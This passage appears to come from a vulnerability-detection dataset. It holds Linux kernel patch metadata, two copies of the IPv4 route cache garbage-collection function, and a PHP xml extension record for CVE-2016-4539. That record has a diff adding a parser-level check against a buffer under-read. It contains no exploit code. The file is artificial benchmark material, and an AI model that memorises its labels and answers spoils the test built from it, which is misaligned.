<< 48) - 1;\n+\n+\treturn seq;\n+}\n+EXPORT_SYMBOL(secure_dccpv6_sequence_number);\n+#endif\n+#endif"}<_**next**_>{"sha": "332639b56f4d76e93888006aedf6832df4ef47c3", "filename": "net/dccp/ipv4.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/dccp/ipv4.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/dccp/ipv4.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/dccp/ipv4.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -26,6 +26,7 @@\n #include <net/timewait_sock.h>\n #include <net/tcp_states.h>\n #include <net/xfrm.h>\n+#include <net/secure_seq.h>\n \n #include \"ackvec.h\"\n #include \"ccid.h\""}<_**next**_>{"sha": "b74f76117dcf6fde6e660cafe7334d22225bf40f", "filename": "net/dccp/ipv6.c", "status": "modified", "additions": 2, "deletions": 7, "changes": 9, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/dccp/ipv6.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/dccp/ipv6.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/dccp/ipv6.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -29,6 +29,7 @@\n #include <net/transp_v6.h>\n #include <net/ip6_checksum.h>\n #include <net/xfrm.h>\n+#include <net/secure_seq.h>\n \n #include \"dccp.h\"\n #include \"ipv6.h\"\n@@ -69,13 +70,7 @@ static inline void dccp_v6_send_check(struct sock *sk, struct sk_buff *skb)\n \tdh->dccph_checksum = dccp_v6_csum_finish(skb, &np->saddr, &np->daddr);\n }\n \n-static inline __u32 secure_dccpv6_sequence_number(__be32 *saddr, __be32 *daddr,\n-\t\t\t\t\t\t __be16 sport, __be16 dport )\n-{\n-\treturn secure_tcpv6_sequence_number(saddr, daddr, sport, dport);\n-}\n-\n-static inline __u32 dccp_v6_init_sequence(struct sk_buff *skb)\n+static inline __u64 dccp_v6_init_sequence(struct sk_buff *skb)\n {\n \treturn secure_dccpv6_sequence_number(ipv6_hdr(skb)->daddr.s6_addr32,\n \t\t\t\t\t ipv6_hdr(skb)->saddr.s6_addr32,"}<_**next**_>{"sha": "984ec656b03b5087ed88cb3e2a930d17761b5350", "filename": "net/ipv4/inet_hashtables.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/inet_hashtables.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/inet_hashtables.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv4/inet_hashtables.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -21,6 +21,7 @@\n \n #include <net/inet_connection_sock.h>\n #include <net/inet_hashtables.h>\n+#include <net/secure_seq.h>\n #include <net/ip.h>\n \n /*"}<_**next**_>{"sha": "86f13c67ea8579d32a4f076063ea1777c75e166b", "filename": "net/ipv4/inetpeer.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/inetpeer.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/inetpeer.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv4/inetpeer.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -19,6 +19,7 @@\n #include <linux/net.h>\n #include <net/ip.h>\n #include <net/inetpeer.h>\n+#include <net/secure_seq.h>\n \n /*\n * Theory of operations."}<_**next**_>{"sha": "f52d41ea06901253e1eae173201c8d3e613ea0c8", "filename": "net/ipv4/netfilter/nf_nat_proto_common.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/netfilter/nf_nat_proto_common.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/netfilter/nf_nat_proto_common.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv4/netfilter/nf_nat_proto_common.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -12,6 +12,7 @@\n #include <linux/ip.h>\n \n #include <linux/netfilter.h>\n+#include <net/secure_seq.h>\n #include <net/netfilter/nf_nat.h>\n #include <net/netfilter/nf_nat_core.h>\n #include <net/netfilter/nf_nat_rule.h>"}<_**next**_>{"sha": "e3dec1c9f09d2d406197cf8e6216a7a6743782d6", "filename": "net/ipv4/route.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/route.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/route.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv4/route.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -109,6 +109,7 @@\n #include <linux/sysctl.h>\n #endif\n #include <net/atmclip.h>\n+#include <net/secure_seq.h>\n \n #define RT_FL_TOS(oldflp4) \\\n ((u32)(oldflp4->flowi4_tos & (IPTOS_RT_MASK | RTO_ONLINK)))"}<_**next**_>{"sha": "1c12b8ec849dcff6b5363338a42ce00e06d9246a", "filename": "net/ipv4/tcp_ipv4.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/tcp_ipv4.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv4/tcp_ipv4.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv4/tcp_ipv4.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -72,6 +72,7 @@\n #include <net/timewait_sock.h>\n #include <net/xfrm.h>\n #include <net/netdma.h>\n+#include <net/secure_seq.h>\n \n #include <linux/inet.h>\n #include <linux/ipv6.h>"}<_**next**_>{"sha": "73f1a00a96afcd194e5567c36e2d1956a62018ca", "filename": "net/ipv6/inet6_hashtables.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv6/inet6_hashtables.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv6/inet6_hashtables.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv6/inet6_hashtables.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -20,6 +20,7 @@\n #include <net/inet_connection_sock.h>\n #include <net/inet_hashtables.h>\n #include <net/inet6_hashtables.h>\n+#include <net/secure_seq.h>\n #include <net/ip.h>\n \n int __inet6_hash(struct sock *sk, struct inet_timewait_sock *tw)"}<_**next**_>{"sha": "d1fb63f4aeb76351bd55d8c6bfa8cf0e8e20c60f", "filename": "net/ipv6/tcp_ipv6.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/torvalds/linux/blob/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv6/tcp_ipv6.c", "raw_url": "https://github.com/torvalds/linux/raw/6e5714eaf77d79ae1c8b47e3e040ff5411b717ec/net/ipv6/tcp_ipv6.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv6/tcp_ipv6.c?ref=6e5714eaf77d79ae1c8b47e3e040ff5411b717ec", "patch": "@@ -61,6 +61,7 @@\n #include <net/timewait_sock.h>\n #include <net/netdma.h>\n #include <net/inet_common.h>\n+#include <net/secure_seq.h>\n \n #include <asm/uaccess.h>\n "}
|
static int rt_garbage_collect(struct dst_ops *ops)
{
static unsigned long expire = RT_GC_TIMEOUT;
static unsigned long last_gc;
static int rover;
static int equilibrium;
struct rtable *rth;
struct rtable __rcu **rthp;
unsigned long now = jiffies;
int goal;
int entries = dst_entries_get_fast(&ipv4_dst_ops);
/*
* Garbage collection is pretty expensive,
* do not make it too frequently.
*/
RT_CACHE_STAT_INC(gc_total);
if (now - last_gc < ip_rt_gc_min_interval &&
entries < ip_rt_max_size) {
RT_CACHE_STAT_INC(gc_ignored);
goto out;
}
entries = dst_entries_get_slow(&ipv4_dst_ops);
/* Calculate number of entries, which we want to expire now. */
goal = entries - (ip_rt_gc_elasticity << rt_hash_log);
if (goal <= 0) {
if (equilibrium < ipv4_dst_ops.gc_thresh)
equilibrium = ipv4_dst_ops.gc_thresh;
goal = entries - equilibrium;
if (goal > 0) {
equilibrium += min_t(unsigned int, goal >> 1, rt_hash_mask + 1);
goal = entries - equilibrium;
}
} else {
/* We are in dangerous area. Try to reduce cache really
* aggressively.
*/
goal = max_t(unsigned int, goal >> 1, rt_hash_mask + 1);
equilibrium = entries - goal;
}
if (now - last_gc >= ip_rt_gc_min_interval)
last_gc = now;
if (goal <= 0) {
equilibrium += goal;
goto work_done;
}
do {
int i, k;
for (i = rt_hash_mask, k = rover; i >= 0; i--) {
unsigned long tmo = expire;
k = (k + 1) & rt_hash_mask;
rthp = &rt_hash_table[k].chain;
spin_lock_bh(rt_hash_lock_addr(k));
while ((rth = rcu_dereference_protected(*rthp,
lockdep_is_held(rt_hash_lock_addr(k)))) != NULL) {
if (!rt_is_expired(rth) &&
!rt_may_expire(rth, tmo, expire)) {
tmo >>= 1;
rthp = &rth->dst.rt_next;
continue;
}
*rthp = rth->dst.rt_next;
rt_free(rth);
goal--;
}
spin_unlock_bh(rt_hash_lock_addr(k));
if (goal <= 0)
break;
}
rover = k;
if (goal <= 0)
goto work_done;
/* Goal is not achieved. We stop process if:
- if expire reduced to zero. Otherwise, expire is halfed.
- if table is not full.
- if we are called from interrupt.
- jiffies check is just fallback/debug loop breaker.
We will not spin here for long time in any case.
*/
RT_CACHE_STAT_INC(gc_goal_miss);
if (expire == 0)
break;
expire >>= 1;
if (dst_entries_get_fast(&ipv4_dst_ops) < ip_rt_max_size)
goto out;
} while (!in_softirq() && time_before_eq(jiffies, now));
if (dst_entries_get_fast(&ipv4_dst_ops) < ip_rt_max_size)
goto out;
if (dst_entries_get_slow(&ipv4_dst_ops) < ip_rt_max_size)
goto out;
if (net_ratelimit())
printk(KERN_WARNING "dst cache overflow\n");
RT_CACHE_STAT_INC(gc_dst_overflow);
return 1;
work_done:
expire += ip_rt_gc_min_interval;
if (expire > ip_rt_gc_timeout ||
dst_entries_get_fast(&ipv4_dst_ops) < ipv4_dst_ops.gc_thresh ||
dst_entries_get_slow(&ipv4_dst_ops) < ipv4_dst_ops.gc_thresh)
expire = ip_rt_gc_timeout;
out: return 0;
}
|
static int rt_garbage_collect(struct dst_ops *ops)
{
static unsigned long expire = RT_GC_TIMEOUT;
static unsigned long last_gc;
static int rover;
static int equilibrium;
struct rtable *rth;
struct rtable __rcu **rthp;
unsigned long now = jiffies;
int goal;
int entries = dst_entries_get_fast(&ipv4_dst_ops);
/*
* Garbage collection is pretty expensive,
* do not make it too frequently.
*/
RT_CACHE_STAT_INC(gc_total);
if (now - last_gc < ip_rt_gc_min_interval &&
entries < ip_rt_max_size) {
RT_CACHE_STAT_INC(gc_ignored);
goto out;
}
entries = dst_entries_get_slow(&ipv4_dst_ops);
/* Calculate number of entries, which we want to expire now. */
goal = entries - (ip_rt_gc_elasticity << rt_hash_log);
if (goal <= 0) {
if (equilibrium < ipv4_dst_ops.gc_thresh)
equilibrium = ipv4_dst_ops.gc_thresh;
goal = entries - equilibrium;
if (goal > 0) {
equilibrium += min_t(unsigned int, goal >> 1, rt_hash_mask + 1);
goal = entries - equilibrium;
}
} else {
/* We are in dangerous area. Try to reduce cache really
* aggressively.
*/
goal = max_t(unsigned int, goal >> 1, rt_hash_mask + 1);
equilibrium = entries - goal;
}
if (now - last_gc >= ip_rt_gc_min_interval)
last_gc = now;
if (goal <= 0) {
equilibrium += goal;
goto work_done;
}
do {
int i, k;
for (i = rt_hash_mask, k = rover; i >= 0; i--) {
unsigned long tmo = expire;
k = (k + 1) & rt_hash_mask;
rthp = &rt_hash_table[k].chain;
spin_lock_bh(rt_hash_lock_addr(k));
while ((rth = rcu_dereference_protected(*rthp,
lockdep_is_held(rt_hash_lock_addr(k)))) != NULL) {
if (!rt_is_expired(rth) &&
!rt_may_expire(rth, tmo, expire)) {
tmo >>= 1;
rthp = &rth->dst.rt_next;
continue;
}
*rthp = rth->dst.rt_next;
rt_free(rth);
goal--;
}
spin_unlock_bh(rt_hash_lock_addr(k));
if (goal <= 0)
break;
}
rover = k;
if (goal <= 0)
goto work_done;
/* Goal is not achieved. We stop process if:
- if expire reduced to zero. Otherwise, expire is halfed.
- if table is not full.
- if we are called from interrupt.
- jiffies check is just fallback/debug loop breaker.
We will not spin here for long time in any case.
*/
RT_CACHE_STAT_INC(gc_goal_miss);
if (expire == 0)
break;
expire >>= 1;
if (dst_entries_get_fast(&ipv4_dst_ops) < ip_rt_max_size)
goto out;
} while (!in_softirq() && time_before_eq(jiffies, now));
if (dst_entries_get_fast(&ipv4_dst_ops) < ip_rt_max_size)
goto out;
if (dst_entries_get_slow(&ipv4_dst_ops) < ip_rt_max_size)
goto out;
if (net_ratelimit())
printk(KERN_WARNING "dst cache overflow\n");
RT_CACHE_STAT_INC(gc_dst_overflow);
return 1;
work_done:
expire += ip_rt_gc_min_interval;
if (expire > ip_rt_gc_timeout ||
dst_entries_get_fast(&ipv4_dst_ops) < ipv4_dst_ops.gc_thresh ||
dst_entries_get_slow(&ipv4_dst_ops) < ipv4_dst_ops.gc_thresh)
expire = ip_rt_gc_timeout;
out: return 0;
}
|
C
| null | null | null |
@@ -109,6 +109,7 @@
#include <linux/sysctl.h>
#endif
#include <net/atmclip.h>
+#include <net/secure_seq.h>
#define RT_FL_TOS(oldflp4) \
((u32)(oldflp4->flowi4_tos & (IPTOS_RT_MASK | RTO_ONLINK)))
|
linux
|
6e5714eaf77d79ae1c8b47e3e040ff5411b717ec
|
bc0b96b54a21246e377122d54569eef71cec535f
| 0
|
static int rt_garbage_collect(struct dst_ops *ops)
{
static unsigned long expire = RT_GC_TIMEOUT;
static unsigned long last_gc;
static int rover;
static int equilibrium;
struct rtable *rth;
struct rtable __rcu **rthp;
unsigned long now = jiffies;
int goal;
int entries = dst_entries_get_fast(&ipv4_dst_ops);
/*
* Garbage collection is pretty expensive,
* do not make it too frequently.
*/
RT_CACHE_STAT_INC(gc_total);
if (now - last_gc < ip_rt_gc_min_interval &&
entries < ip_rt_max_size) {
RT_CACHE_STAT_INC(gc_ignored);
goto out;
}
entries = dst_entries_get_slow(&ipv4_dst_ops);
/* Calculate number of entries, which we want to expire now. */
goal = entries - (ip_rt_gc_elasticity << rt_hash_log);
if (goal <= 0) {
if (equilibrium < ipv4_dst_ops.gc_thresh)
equilibrium = ipv4_dst_ops.gc_thresh;
goal = entries - equilibrium;
if (goal > 0) {
equilibrium += min_t(unsigned int, goal >> 1, rt_hash_mask + 1);
goal = entries - equilibrium;
}
} else {
/* We are in dangerous area. Try to reduce cache really
* aggressively.
*/
goal = max_t(unsigned int, goal >> 1, rt_hash_mask + 1);
equilibrium = entries - goal;
}
if (now - last_gc >= ip_rt_gc_min_interval)
last_gc = now;
if (goal <= 0) {
equilibrium += goal;
goto work_done;
}
do {
int i, k;
for (i = rt_hash_mask, k = rover; i >= 0; i--) {
unsigned long tmo = expire;
k = (k + 1) & rt_hash_mask;
rthp = &rt_hash_table[k].chain;
spin_lock_bh(rt_hash_lock_addr(k));
while ((rth = rcu_dereference_protected(*rthp,
lockdep_is_held(rt_hash_lock_addr(k)))) != NULL) {
if (!rt_is_expired(rth) &&
!rt_may_expire(rth, tmo, expire)) {
tmo >>= 1;
rthp = &rth->dst.rt_next;
continue;
}
*rthp = rth->dst.rt_next;
rt_free(rth);
goal--;
}
spin_unlock_bh(rt_hash_lock_addr(k));
if (goal <= 0)
break;
}
rover = k;
if (goal <= 0)
goto work_done;
/* Goal is not achieved. We stop process if:
- if expire reduced to zero. Otherwise, expire is halfed.
- if table is not full.
- if we are called from interrupt.
- jiffies check is just fallback/debug loop breaker.
We will not spin here for long time in any case.
*/
RT_CACHE_STAT_INC(gc_goal_miss);
if (expire == 0)
break;
expire >>= 1;
if (dst_entries_get_fast(&ipv4_dst_ops) < ip_rt_max_size)
goto out;
} while (!in_softirq() && time_before_eq(jiffies, now));
if (dst_entries_get_fast(&ipv4_dst_ops) < ip_rt_max_size)
goto out;
if (dst_entries_get_slow(&ipv4_dst_ops) < ip_rt_max_size)
goto out;
if (net_ratelimit())
printk(KERN_WARNING "dst cache overflow\n");
RT_CACHE_STAT_INC(gc_dst_overflow);
return 1;
work_done:
expire += ip_rt_gc_min_interval;
if (expire > ip_rt_gc_timeout ||
dst_entries_get_fast(&ipv4_dst_ops) < ipv4_dst_ops.gc_thresh ||
dst_entries_get_slow(&ipv4_dst_ops) < ipv4_dst_ops.gc_thresh)
expire = ip_rt_gc_timeout;
out: return 0;
}
|
10,972
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-4539
|
https://www.cvedetails.com/cve/CVE-2016-4539/
|
CWE-119
|
Low
|
Partial
|
Partial
| null |
2016-05-21
| 7.5
|
The xml_parse_into_struct function in ext/xml/xml.c in PHP before 5.5.35, 5.6.x before 5.6.21, and 7.x before 7.0.6 allows remote attackers to cause a denial of service (buffer under-read and segmentation fault) or possibly have unspecified other impact via crafted XML data in the second argument, leading to a parser level of zero.
|
2018-10-30
|
DoS Overflow
| 0
|
https://git.php.net/?p=php-src.git;a=commit;h=dccda88f27a084bcbbb30198ace12b4e7ae961cc
|
dccda88f27a084bcbbb30198ace12b4e7ae961cc
| null | 0
| null | null |
PHP_FUNCTION(xml_set_processing_instruction_handler)
{
xml_parser *parser;
zval *pind, **hdl;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rZ", &pind, &hdl) == FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(parser,xml_parser *, &pind, -1, "XML Parser", le_xml_parser);
xml_set_handler(&parser->processingInstructionHandler, hdl);
XML_SetProcessingInstructionHandler(parser->parser, _xml_processingInstructionHandler);
RETVAL_TRUE;
}
|
PHP_FUNCTION(xml_set_processing_instruction_handler)
{
xml_parser *parser;
zval *pind, **hdl;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rZ", &pind, &hdl) == FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(parser,xml_parser *, &pind, -1, "XML Parser", le_xml_parser);
xml_set_handler(&parser->processingInstructionHandler, hdl);
XML_SetProcessingInstructionHandler(parser->parser, _xml_processingInstructionHandler);
RETVAL_TRUE;
}
|
C
| null | null |
f856734c6789314ce50b19d36d523911ef6c6a79
|
@@ -283,7 +283,7 @@ xml_encoding xml_encodings[] = {
static XML_Memory_Handling_Suite php_xml_mem_hdlrs;
/* True globals, no need for thread safety */
-static int le_xml_parser;
+static int le_xml_parser;
/* }}} */
@@ -343,7 +343,7 @@ PHP_MINIT_FUNCTION(xml)
REGISTER_LONG_CONSTANT("XML_OPTION_SKIP_WHITE", PHP_XML_OPTION_SKIP_WHITE, CONST_CS|CONST_PERSISTENT);
/* this object should not be pre-initialised at compile time,
- as the order of members may vary */
+ as the order of members may vary */
php_xml_mem_hdlrs.malloc_fcn = php_xml_malloc_wrapper;
php_xml_mem_hdlrs.realloc_fcn = php_xml_realloc_wrapper;
@@ -404,7 +404,7 @@ static zval *_xml_xmlchar_zval(const XML_Char *s, int len, const XML_Char *encod
{
zval *ret;
MAKE_STD_ZVAL(ret);
-
+
if (s == NULL) {
ZVAL_FALSE(ret);
return ret;
@@ -422,7 +422,7 @@ static zval *_xml_xmlchar_zval(const XML_Char *s, int len, const XML_Char *encod
static void xml_parser_dtor(zend_rsrc_list_entry *rsrc TSRMLS_DC)
{
xml_parser *parser = (xml_parser *)rsrc->ptr;
-
+
if (parser->parser) {
XML_ParserFree(parser->parser);
}
@@ -503,7 +503,7 @@ static void xml_set_handler(zval **handler, zval **data)
/* {{{ xml_call_handler() */
static zval *xml_call_handler(xml_parser *parser, zval *handler, zend_function *function_ptr, int argc, zval **argv)
{
- int i;
+ int i;
TSRMLS_FETCH();
if (parser && handler && !EG(exception)) {
@@ -516,7 +516,7 @@ static zval *xml_call_handler(xml_parser *parser, zval *handler, zend_function *
for (i = 0; i < argc; i++) {
args[i] = &argv[i];
}
-
+
fci.size = sizeof(fci);
fci.function_table = EG(function_table);
fci.function_name = handler;
@@ -540,7 +540,7 @@ static zval *xml_call_handler(xml_parser *parser, zval *handler, zend_function *
Z_TYPE_PP(obj) == IS_OBJECT &&
Z_TYPE_PP(method) == IS_STRING) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to call handler %s::%s()", Z_OBJCE_PP(obj)->name, Z_STRVAL_PP(method));
- } else
+ } else
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to call handler");
}
@@ -739,14 +739,14 @@ static void _xml_add_to_info(xml_parser *parser,char *name)
if (zend_hash_find(Z_ARRVAL_P(parser->info),name,strlen(name) + 1,(void **) &element) == FAILURE) {
MAKE_STD_ZVAL(values);
-
+
array_init(values);
-
+
zend_hash_update(Z_ARRVAL_P(parser->info), name, strlen(name)+1, (void *) &values, sizeof(zval*), (void **) &element);
- }
-
+ }
+
add_next_index_long(*element,parser->curtag);
-
+
parser->curtag++;
}
/* }}} */
@@ -798,11 +798,11 @@ void _xml_startElementHandler(void *userData, const XML_Char *name, const XML_Ch
efree(att);
}
-
+
if ((retval = xml_call_handler(parser, parser->startElementHandler, parser->startElementPtr, 3, args))) {
zval_ptr_dtor(&retval);
}
- }
+ }
if (parser->data) {
if (parser->level <= XML_MAXLEVEL) {
@@ -874,7 +874,7 @@ void _xml_endElementHandler(void *userData, const XML_Char *name)
if ((retval = xml_call_handler(parser, parser->endElementHandler, parser->endElementPtr, 2, args))) {
zval_ptr_dtor(&retval);
}
- }
+ }
if (parser->data) {
zval *tag;
@@ -885,13 +885,13 @@ void _xml_endElementHandler(void *userData, const XML_Char *name)
MAKE_STD_ZVAL(tag);
array_init(tag);
-
+
_xml_add_to_info(parser,((char *) tag_name) + parser->toffset);
add_assoc_string(tag,"tag",((char *) tag_name) + parser->toffset,1); /* cast to avoid gcc-warning */
add_assoc_string(tag,"type","close",1);
add_assoc_long(tag,"level",parser->level);
-
+
zend_hash_next_index_insert(Z_ARRVAL_P(parser->data),&tag,sizeof(zval*),NULL);
}
@@ -923,7 +923,7 @@ void _xml_characterDataHandler(void *userData, const XML_Char *s, int len)
if ((retval = xml_call_handler(parser, parser->characterDataHandler, parser->characterDataPtr, 2, args))) {
zval_ptr_dtor(&retval);
}
- }
+ }
if (parser->data) {
int i;
@@ -931,7 +931,7 @@ void _xml_characterDataHandler(void *userData, const XML_Char *s, int len)
char *decoded_value;
int decoded_len;
-
+
decoded_value = xml_utf8_decode(s,len,&decoded_len,parser->target_encoding);
for (i = 0; i < decoded_len; i++) {
switch (decoded_value[i]) {
@@ -950,7 +950,7 @@ void _xml_characterDataHandler(void *userData, const XML_Char *s, int len)
if (doprint || (! parser->skipwhite)) {
if (parser->lastwasopen) {
zval **myval;
-
+
/* check if the current tag already has a value - if yes append to that! */
if (zend_hash_find(Z_ARRVAL_PP(parser->ctag),"value",sizeof("value"),(void **) &myval) == SUCCESS) {
int newlen = Z_STRLEN_PP(myval) + decoded_len;
@@ -961,7 +961,7 @@ void _xml_characterDataHandler(void *userData, const XML_Char *s, int len)
} else {
add_assoc_string(*(parser->ctag),"value",decoded_value,0);
}
-
+
} else {
zval *tag;
zval **curtag, **mytype, **myval;
@@ -984,7 +984,7 @@ void _xml_characterDataHandler(void *userData, const XML_Char *s, int len)
}
}
- if (parser->level <= XML_MAXLEVEL) {
+ if (parser->level <= XML_MAXLEVEL && parser->level > 0) {
MAKE_STD_ZVAL(tag);
array_init(tag);
@@ -1046,8 +1046,8 @@ void _xml_defaultHandler(void *userData, const XML_Char *s, int len)
/* }}} */
/* {{{ _xml_unparsedEntityDeclHandler() */
-void _xml_unparsedEntityDeclHandler(void *userData,
- const XML_Char *entityName,
+void _xml_unparsedEntityDeclHandler(void *userData,
+ const XML_Char *entityName,
const XML_Char *base,
const XML_Char *systemId,
const XML_Char *publicId,
@@ -1172,9 +1172,9 @@ static void php_xml_parser_create_impl(INTERNAL_FUNCTION_PARAMETERS, int ns_supp
char *ns_param = NULL;
int ns_param_len = 0;
-
+
XML_Char *encoding;
-
+
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, (ns_support ? "|ss": "|s"), &encoding_param, &encoding_param_len, &ns_param, &ns_param_len) == FAILURE) {
RETURN_FALSE;
}
@@ -1220,15 +1220,15 @@ static void php_xml_parser_create_impl(INTERNAL_FUNCTION_PARAMETERS, int ns_supp
}
/* }}} */
-/* {{{ proto resource xml_parser_create([string encoding])
+/* {{{ proto resource xml_parser_create([string encoding])
Create an XML parser */
PHP_FUNCTION(xml_parser_create)
{
- php_xml_parser_create_impl(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
+ php_xml_parser_create_impl(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
}
/* }}} */
-/* {{{ proto resource xml_parser_create_ns([string encoding [, string sep]])
+/* {{{ proto resource xml_parser_create_ns([string encoding [, string sep]])
Create an XML parser */
PHP_FUNCTION(xml_parser_create_ns)
{
@@ -1236,7 +1236,7 @@ PHP_FUNCTION(xml_parser_create_ns)
}
/* }}} */
-/* {{{ proto int xml_set_object(resource parser, object &obj)
+/* {{{ proto int xml_set_object(resource parser, object &obj)
Set up object which should be used for callbacks */
PHP_FUNCTION(xml_set_object)
{
@@ -1256,7 +1256,7 @@ PHP_FUNCTION(xml_set_object)
/* please leave this commented - or ask thies@thieso.net before doing it (again) */
/* #ifdef ZEND_ENGINE_2
- zval_add_ref(&parser->object);
+ zval_add_ref(&parser->object);
#endif */
ALLOC_ZVAL(parser->object);
@@ -1266,7 +1266,7 @@ PHP_FUNCTION(xml_set_object)
}
/* }}} */
-/* {{{ proto int xml_set_element_handler(resource parser, string shdl, string ehdl)
+/* {{{ proto int xml_set_element_handler(resource parser, string shdl, string ehdl)
Set up start and end element handlers */
PHP_FUNCTION(xml_set_element_handler)
{
@@ -1286,7 +1286,7 @@ PHP_FUNCTION(xml_set_element_handler)
}
/* }}} */
-/* {{{ proto int xml_set_character_data_handler(resource parser, string hdl)
+/* {{{ proto int xml_set_character_data_handler(resource parser, string hdl)
Set up character data handler */
PHP_FUNCTION(xml_set_character_data_handler)
{
@@ -1305,7 +1305,7 @@ PHP_FUNCTION(xml_set_character_data_handler)
}
/* }}} */
-/* {{{ proto int xml_set_processing_instruction_handler(resource parser, string hdl)
+/* {{{ proto int xml_set_processing_instruction_handler(resource parser, string hdl)
Set up processing instruction (PI) handler */
PHP_FUNCTION(xml_set_processing_instruction_handler)
{
@@ -1324,7 +1324,7 @@ PHP_FUNCTION(xml_set_processing_instruction_handler)
}
/* }}} */
-/* {{{ proto int xml_set_default_handler(resource parser, string hdl)
+/* {{{ proto int xml_set_default_handler(resource parser, string hdl)
Set up default handler */
PHP_FUNCTION(xml_set_default_handler)
{
@@ -1342,7 +1342,7 @@ PHP_FUNCTION(xml_set_default_handler)
}
/* }}} */
-/* {{{ proto int xml_set_unparsed_entity_decl_handler(resource parser, string hdl)
+/* {{{ proto int xml_set_unparsed_entity_decl_handler(resource parser, string hdl)
Set up unparsed entity declaration handler */
PHP_FUNCTION(xml_set_unparsed_entity_decl_handler)
{
@@ -1361,7 +1361,7 @@ PHP_FUNCTION(xml_set_unparsed_entity_decl_handler)
}
/* }}} */
-/* {{{ proto int xml_set_notation_decl_handler(resource parser, string hdl)
+/* {{{ proto int xml_set_notation_decl_handler(resource parser, string hdl)
Set up notation declaration handler */
PHP_FUNCTION(xml_set_notation_decl_handler)
{
@@ -1379,7 +1379,7 @@ PHP_FUNCTION(xml_set_notation_decl_handler)
}
/* }}} */
-/* {{{ proto int xml_set_external_entity_ref_handler(resource parser, string hdl)
+/* {{{ proto int xml_set_external_entity_ref_handler(resource parser, string hdl)
Set up external entity reference handler */
PHP_FUNCTION(xml_set_external_entity_ref_handler)
{
@@ -1397,7 +1397,7 @@ PHP_FUNCTION(xml_set_external_entity_ref_handler)
}
/* }}} */
-/* {{{ proto int xml_set_start_namespace_decl_handler(resource parser, string hdl)
+/* {{{ proto int xml_set_start_namespace_decl_handler(resource parser, string hdl)
Set up character data handler */
PHP_FUNCTION(xml_set_start_namespace_decl_handler)
{
@@ -1416,7 +1416,7 @@ PHP_FUNCTION(xml_set_start_namespace_decl_handler)
}
/* }}} */
-/* {{{ proto int xml_set_end_namespace_decl_handler(resource parser, string hdl)
+/* {{{ proto int xml_set_end_namespace_decl_handler(resource parser, string hdl)
Set up character data handler */
PHP_FUNCTION(xml_set_end_namespace_decl_handler)
{
